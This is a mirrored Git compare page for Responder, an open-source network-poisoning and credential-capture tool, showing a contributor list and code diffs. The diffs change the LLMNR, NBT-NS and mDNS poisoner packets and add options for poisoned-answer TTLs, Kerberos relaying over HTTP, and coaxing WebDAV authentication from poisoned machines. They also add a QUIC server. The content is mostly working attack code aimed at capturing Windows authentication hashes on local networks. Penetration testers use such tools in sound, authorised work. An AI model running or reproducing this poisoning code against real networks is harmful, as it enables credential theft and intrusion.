mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 13:00:00 -07:00
Compare commits
38 commits
Author | SHA1 | Date | |
---|---|---|---|
|
398a1fce31 | ||
|
fa2b8dd5fd | ||
|
58eb8731a5 | ||
|
658480e0a5 | ||
|
a76ee47867 | ||
|
e346c01695 |
||
|
41ed7c4f4a |
||
|
ea820ab076 |
||
|
a0d1f03617 |
||
|
871cdffa97 | ||
|
e781559be0 | ||
|
6bf6887c49 | ||
|
545137275f |
||
|
6743423251 |
||
|
d740fb526f |
||
|
d3dd37a324 | ||
|
e918fe01c6 | ||
|
538e6c0d0d |
||
|
990df258a6 |
||
|
4947ae6e52 | ||
|
116a056e7d | ||
|
d715f2de21 | ||
|
64cf4d9873 | ||
|
ccbcd1736f | ||
|
413bc8be31 | ||
|
bf25abfec8 |
||
|
06b33edc27 |
||
|
807bd57a96 | ||
|
f50f0be59c | ||
|
1a2f2fdb22 | ||
|
e51f24e36c | ||
|
fa297c8a16 | ||
|
44bfd1d221 | ||
|
66e5b12c56 | ||
|
4b560f6e17 | ||
|
e564e5159b | ||
|
4b14455bdc | ||
|
ee5ab9a5fd |
22 changed files with 1234 additions and 541 deletions
1135
CHANGELOG.md
1135
CHANGELOG.md
File diff suppressed because it is too large
Load diff
76
Contributors
Normal file
76
Contributors
Normal file
|
@ -0,0 +1,76 @@
|
||||||
|
Commits | user
|
||||||
|
15 @jrmdev
|
||||||
|
7 @nobbd
|
||||||
|
6 @ValdikSS
|
||||||
|
6 @also-here
|
||||||
|
5 @HexPandaa
|
||||||
|
5 @exploide
|
||||||
|
5 @jvoisin
|
||||||
|
4 @Clément Notin
|
||||||
|
4 @Shutdown
|
||||||
|
4 @Yannick Méheut
|
||||||
|
3 @Hank Leininger
|
||||||
|
3 @brightio
|
||||||
|
3 @byt3bl33d3r
|
||||||
|
3 @myst404
|
||||||
|
3 @skelsec
|
||||||
|
2 @Alexandre ZANNI
|
||||||
|
2 @Crypt0-M3lon
|
||||||
|
2 @Laban Sköllermark
|
||||||
|
2 @Matthew Daley
|
||||||
|
2 @Pixis
|
||||||
|
2 @Rob Fuller
|
||||||
|
2 @ThePirateWhoSmellsOfSunflowers
|
||||||
|
2 @Vincent Yiu
|
||||||
|
2 @requin
|
||||||
|
1 @Andrii Nechytailov
|
||||||
|
1 @Antonio Herraiz
|
||||||
|
1 @Chris Maddalena
|
||||||
|
1 @Euan
|
||||||
|
1 @Garret Picchioni
|
||||||
|
1 @Gifts
|
||||||
|
1 @Gustaf Blomqvist
|
||||||
|
1 @Hubert Seiwert
|
||||||
|
1 @IMcPwn
|
||||||
|
1 @Jared Haight
|
||||||
|
1 @Jim Shaver
|
||||||
|
1 @Khiem Doan
|
||||||
|
1 @Leon Jacobs
|
||||||
|
1 @Lionel PRAT
|
||||||
|
1 @Markus
|
||||||
|
1 @MatToufoutu
|
||||||
|
1 @Matt
|
||||||
|
1 @Matt Andreko
|
||||||
|
1 @Matt Kelly
|
||||||
|
1 @Nikos Vassakis
|
||||||
|
1 @OJ
|
||||||
|
1 @Paul A
|
||||||
|
1 @Randy Ramos
|
||||||
|
1 @SAERXCIT
|
||||||
|
1 @Sagar-Jangam
|
||||||
|
1 @Sans23
|
||||||
|
1 @Sophie Brun
|
||||||
|
1 @Stephen Shkardoon
|
||||||
|
1 @Syntricks
|
||||||
|
1 @Timon Hackenjos
|
||||||
|
1 @Tom Aviv
|
||||||
|
1 @Ziga P
|
||||||
|
1 @cweedon
|
||||||
|
1 @deltronzero
|
||||||
|
1 @f3rn0s
|
||||||
|
1 @jackassplus
|
||||||
|
1 @jb
|
||||||
|
1 @kevintellier
|
||||||
|
1 @kitchung
|
||||||
|
1 @klemou
|
||||||
|
1 @lanjelot
|
||||||
|
1 @nickyb
|
||||||
|
1 @nodauf
|
||||||
|
1 @nop5L3D
|
||||||
|
1 @pixis
|
||||||
|
1 @ravenium
|
||||||
|
1 @soa
|
||||||
|
1 @steven
|
||||||
|
1 @thejosko
|
||||||
|
1 @trustedsec
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python3
|
||||||
# This file is part of Responder, a network take-over set of tools
|
# This file is part of Responder, a network take-over set of tools
|
||||||
# created and maintained by Laurent Gaffie.
|
# created and maintained by Laurent Gaffie.
|
||||||
# email: laurent.gaffie@gmail.com
|
# email: laurent.gaffie@gmail.com
|
||||||
|
|
20
README.md
20
README.md
|
@ -157,13 +157,27 @@ Options:
|
||||||
False
|
False
|
||||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||||
authentication for the proxy. WPAD doesn't need to be
|
authentication for the proxy. WPAD doesn't need to be
|
||||||
ON. Default: False
|
ON. This option is highly effective. Default: False
|
||||||
|
-Q, --quiet Tell Responder to be quiet, disables a bunch of
|
||||||
|
printing from the poisoners. Default: False
|
||||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||||
earlier. Default: False
|
earlier. Default: False
|
||||||
--disable-ess Force ESS downgrade. Default: False
|
--disable-ess Force ESS downgrade. Default: False
|
||||||
-v, --verbose Increase verbosity.
|
-v, --verbose Increase verbosity.
|
||||||
|
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
|
||||||
|
Value in hex (30 seconds = 1e). use '-t random' for
|
||||||
|
random TTL
|
||||||
|
-N ANSWERNAME, --AnswerName=ANSWERNAME
|
||||||
|
Specifies the canonical name returned by the LLMNR
|
||||||
|
poisoner in tits Answer section. By default, the
|
||||||
|
answer's canonical name is the same as the query.
|
||||||
|
Changing this value is mainly useful when attempting
|
||||||
|
to perform Kebreros relaying over HTTP.
|
||||||
|
-E, --ErrorCode Changes the error code returned by the SMB server to
|
||||||
|
STATUS_LOGON_FAILURE. By default, the status is
|
||||||
|
STATUS_ACCESS_DENIED. Changing this value permits to
|
||||||
|
obtain WebDAV authentications from the poisoned
|
||||||
|
machines where the WebClient service is running.
|
||||||
|
|
||||||
|
|
||||||
## Donation ##
|
## Donation ##
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python3
|
||||||
# This file is part of Responder, a network take-over set of tools
|
# This file is part of Responder, a network take-over set of tools
|
||||||
# created and maintained by Laurent Gaffie.
|
# created and maintained by Laurent Gaffie.
|
||||||
# email: laurent.gaffie@gmail.com
|
# email: laurent.gaffie@gmail.com
|
||||||
|
|
|
@ -1,22 +1,28 @@
|
||||||
[Responder Core]
|
[Responder Core]
|
||||||
|
|
||||||
|
; Poisoners to start
|
||||||
|
MDNS = On
|
||||||
|
LLMNR = On
|
||||||
|
NBTNS = On
|
||||||
|
|
||||||
; Servers to start
|
; Servers to start
|
||||||
SQL = On
|
SQL = On
|
||||||
SMB = On
|
SMB = On
|
||||||
RDP = On
|
QUIC = On
|
||||||
|
RDP = On
|
||||||
Kerberos = On
|
Kerberos = On
|
||||||
FTP = On
|
FTP = On
|
||||||
POP = On
|
POP = On
|
||||||
SMTP = On
|
SMTP = On
|
||||||
IMAP = On
|
IMAP = On
|
||||||
HTTP = On
|
HTTP = On
|
||||||
HTTPS = On
|
HTTPS = On
|
||||||
DNS = On
|
DNS = On
|
||||||
LDAP = On
|
LDAP = On
|
||||||
DCERPC = On
|
DCERPC = On
|
||||||
WINRM = On
|
WINRM = On
|
||||||
SNMP = Off
|
SNMP = On
|
||||||
MQTT = On
|
MQTT = On
|
||||||
|
|
||||||
; Custom challenge.
|
; Custom challenge.
|
||||||
; Use "Random" for generating a random challenge for each requests (Default)
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
|
@ -53,9 +59,13 @@ RespondToName =
|
||||||
DontRespondTo =
|
DontRespondTo =
|
||||||
|
|
||||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||||
; Example: DontRespondTo = NAC, IPS, IDS
|
; Example: DontRespondToName = NAC, IPS, IDS
|
||||||
DontRespondToName = ISATAP
|
DontRespondToName = ISATAP
|
||||||
|
|
||||||
|
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
|
||||||
|
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
|
||||||
|
DontRespondToTLD = _dosvc
|
||||||
|
|
||||||
; If set to On, we will stop answering further requests from a host
|
; If set to On, we will stop answering further requests from a host
|
||||||
; if a hash has been previously captured for this host.
|
; if a hash has been previously captured for this host.
|
||||||
AutoIgnoreAfterSuccess = Off
|
AutoIgnoreAfterSuccess = Off
|
||||||
|
|
95
Responder.py
95
Responder.py
|
@ -14,6 +14,7 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import asyncio
|
||||||
import optparse
|
import optparse
|
||||||
import ssl
|
import ssl
|
||||||
try:
|
try:
|
||||||
|
@ -45,6 +46,9 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp
|
||||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||||
|
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||||
|
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
|
||||||
|
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
|
@ -69,6 +73,8 @@ settings.Config.ExpandIPRanges()
|
||||||
#Create the DB, before we start Responder.
|
#Create the DB, before we start Responder.
|
||||||
CreateResponderDb()
|
CreateResponderDb()
|
||||||
|
|
||||||
|
Have_IPv6 = settings.Config.IPv6
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
|
@ -78,10 +84,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
@ -95,10 +103,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
@ -112,10 +122,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||||
|
@ -131,11 +143,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||||
|
|
||||||
#IPV6:
|
#IPV6:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
if Have_IPv6:
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
else:
|
else:
|
||||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
if Have_IPv6:
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
|
@ -143,10 +157,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
@ -160,8 +176,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||||
|
|
||||||
#IPV6:
|
#IPV6:
|
||||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
if Have_IPv6:
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
|
@ -169,29 +186,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||||
else:
|
else:
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
if Have_IPv6:
|
||||||
|
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
|
|
||||||
ThreadingUDPServer.allow_reuse_address = 1
|
ThreadingUDPServer.allow_reuse_address = 1
|
||||||
ThreadingUDPServer.address_family = socket.AF_INET6
|
if Have_IPv6:
|
||||||
|
ThreadingUDPServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingTCPServer.allow_reuse_address = 1
|
ThreadingTCPServer.allow_reuse_address = 1
|
||||||
ThreadingTCPServer.address_family = socket.AF_INET6
|
if Have_IPv6:
|
||||||
|
ThreadingTCPServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||||
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
if Have_IPv6:
|
||||||
|
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||||
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
if Have_IPv6:
|
||||||
|
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
||||||
|
|
||||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||||
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
if Have_IPv6:
|
||||||
|
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
||||||
|
|
||||||
def serve_thread_udp_broadcast(host, port, handler):
|
def serve_thread_udp_broadcast(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -278,16 +302,23 @@ def main():
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||||
from poisoners.LLMNR import LLMNR
|
if settings.Config.LLMNR_On_Off:
|
||||||
from poisoners.NBTNS import NBTNS
|
from poisoners.LLMNR import LLMNR
|
||||||
from poisoners.MDNS import MDNS
|
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
|
||||||
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
|
|
||||||
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
|
|
||||||
|
|
||||||
|
if settings.Config.NBTNS_On_Off:
|
||||||
|
from poisoners.NBTNS import NBTNS
|
||||||
|
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
|
||||||
|
|
||||||
|
if settings.Config.MDNS_On_Off:
|
||||||
|
from poisoners.MDNS import MDNS
|
||||||
|
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
|
||||||
|
|
||||||
|
#// Vintage Responder BOWSER module, now disabled by default.
|
||||||
|
#// Generate to much noise & easily detectable on the network when in analyze mode.
|
||||||
# Load Browser Listener
|
# Load Browser Listener
|
||||||
from servers.Browser import Browser
|
#from servers.Browser import Browser
|
||||||
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||||
|
|
||||||
if settings.Config.HTTP_On_Off:
|
if settings.Config.HTTP_On_Off:
|
||||||
from servers.HTTP import HTTP
|
from servers.HTTP import HTTP
|
||||||
|
@ -332,6 +363,12 @@ def main():
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
|
||||||
|
|
||||||
|
if settings.Config.QUIC_On_Off:
|
||||||
|
from servers.QUIC import start_quic_server
|
||||||
|
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||||
|
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||||
|
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
|
||||||
|
|
||||||
if settings.Config.Krb_On_Off:
|
if settings.Config.Krb_On_Off:
|
||||||
from servers.Kerberos import KerbTCP, KerbUDP
|
from servers.Kerberos import KerbTCP, KerbUDP
|
||||||
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
||||||
|
|
16
packets.py
16
packets.py
|
@ -52,7 +52,7 @@ class NBT_Ans(Packet):
|
||||||
("NbtName", ""),
|
("NbtName", ""),
|
||||||
("Type", "\x00\x20"),
|
("Type", "\x00\x20"),
|
||||||
("Classy", "\x00\x01"),
|
("Classy", "\x00\x01"),
|
||||||
("TTL", "\x00\x00\x00\xa5"),
|
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
|
||||||
("Len", "\x00\x06"),
|
("Len", "\x00\x06"),
|
||||||
("Flags1", "\x00\x00"),
|
("Flags1", "\x00\x00"),
|
||||||
("IP", "\x00\x00\x00\x00"),
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
|
||||||
("AnswerNameNull", "\x00"),
|
("AnswerNameNull", "\x00"),
|
||||||
("Type1", "\x00\x01"),
|
("Type1", "\x00\x01"),
|
||||||
("Class1", "\x00\x01"),
|
("Class1", "\x00\x01"),
|
||||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
|
||||||
("IPLen", "\x00\x04"),
|
("IPLen", "\x00\x04"),
|
||||||
("IP", "\x00\x00\x00\x00"),
|
("IP", "\x00\x00\x00\x00"),
|
||||||
])
|
])
|
||||||
|
@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
|
||||||
("AnswerNameNull", "\x00"),
|
("AnswerNameNull", "\x00"),
|
||||||
("Type1", "\x00\x1c"),
|
("Type1", "\x00\x1c"),
|
||||||
("Class1", "\x00\x01"),
|
("Class1", "\x00\x01"),
|
||||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
|
||||||
("IPLen", "\x00\x04"),
|
("IPLen", "\x00\x04"),
|
||||||
("IP", "\x00\x00\x00\x00"),
|
("IP", "\x00\x00\x00\x00"),
|
||||||
])
|
])
|
||||||
|
@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
|
||||||
("AnswerNameNull", "\x00"),
|
("AnswerNameNull", "\x00"),
|
||||||
("Type", "\x00\x01"),
|
("Type", "\x00\x01"),
|
||||||
("Class", "\x00\x01"),
|
("Class", "\x00\x01"),
|
||||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
|
||||||
("IPLen", "\x00\x04"),
|
("IPLen", "\x00\x04"),
|
||||||
("IP", "\x00\x00\x00\x00"),
|
("IP", "\x00\x00\x00\x00"),
|
||||||
])
|
])
|
||||||
|
@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
|
||||||
("AnswerNameNull", "\x00"),
|
("AnswerNameNull", "\x00"),
|
||||||
("Type", "\x00\x1c"),
|
("Type", "\x00\x1c"),
|
||||||
("Class", "\x00\x01"),
|
("Class", "\x00\x01"),
|
||||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
|
||||||
("IPLen", "\x00\x04"),
|
("IPLen", "\x00\x04"),
|
||||||
("IP", "\x00\x00\x00\x00"),
|
("IP", "\x00\x00\x00\x00"),
|
||||||
])
|
])
|
||||||
|
@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
|
||||||
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
||||||
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
|
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
|
||||||
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
|
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
|
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
|
||||||
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
|
("NegTokenInitSeqMechMessageVersionLow", "\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
|
||||||
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
||||||
